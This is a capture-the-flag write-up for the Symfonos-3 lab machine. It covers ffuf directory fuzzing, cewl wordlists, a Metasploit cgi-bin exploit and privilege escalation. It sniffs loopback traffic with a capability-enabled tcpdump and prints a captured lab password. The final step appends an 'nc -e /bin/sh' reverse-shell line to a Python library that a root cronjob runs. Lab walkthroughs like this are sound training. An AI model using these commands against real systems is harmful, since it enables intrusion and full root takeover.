Symfonos-3

By Lawcky 21/01/24

Introduction

Symfonos-3

Difficulty : Medium

Additionnal info :

Name: symfonos: 3.1
Release date: 7 Apr 2020
Author: Zayotic
Series: symfonos

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them

---

In this write-up

• ftp
• ffuf (a lot)
• cgi-bin/ pentest (hacktricks)
• metasploit
• cewl
• tcpdump capabilities
• python module privesc

---

Write-UP

Enumerating

FTP

HTTP

ffuf -w /usr/share/SecLists/Discovery/Web-Content/common.txt:FUZZ -u http://192.168.1.42/FUZZ -fc 403 -e .php,.txt,.html

ffuf -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt:FUZZ -u http://192.168.1.42/gate/FUZZ -fc 403

fuzzing again

ffuf -w /usr/share/SecLists/Discovery/Web-Content/dirsearch.txt:FUZZ -u http://192.168.1.42/gate/cerberus/FUZZ -fc 403

in the source code

ffuf -w /usr/share/SecLists/Discovery/Web-Content/dirsearch.txt:FUZZ -u http://192.168.1.42/gate/cerberus/tartarus/FUZZ -fc 403

its a html page with a long text, some words are actual directories on the server but with a forbidden access, lets generate a wordlist using that page to then fuzz it

cewl -d 3 http://192.168.1.42/gate/cerberus/tartarus/research -w research.dic

hermes/
and charon/ found, but forbidden access,

lets try fuzzing inside these directories

found nothing passed this point seems to be a rabbithole

after searching i went back and fuzzed without filtering out 403 responses and found cgi-bin/ in the root of the server, lets try fuzzing this one

ffuf -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://192.168.1.42/cgi-bin/FUZZ

hacktrix page for cgi-bin

lets use metasploit for an automatic execution

after looking around i found the shell command that basically opens a shell

we give ourself a better terminal and now lets try to privesc

---

Privilege Escalation

from cerberus to root

/usr/bin/tcpdump has capabilities set as cap_net_admin,cap_net_raw+eip

which can be exploited

by sniffing the loopback interface lo we can catch the password for other users

tcpdump -i lo -w file.pcap

then tcpdump -qns 0 -A -r file.pcap

hades:PTpZTfU4vxgzvRBE

lets look at the ftp files

find / -type d -name '\*ftp\*' 2>/dev/null

found /opt/ftp

this script is ran by root and is called by the cronjob but we cannot edit it

lets look for the module its calling

we can edit the library to add a reverse shell into it and wait for the cronjob to run and give us a root shell

echo 'os.system("nc -e /bin/sh 192.168.1.253 8951")' >> /usr/lib/python2.7/ftplib.py

nc -lnvp 8951

after about 2 minutes

got the flag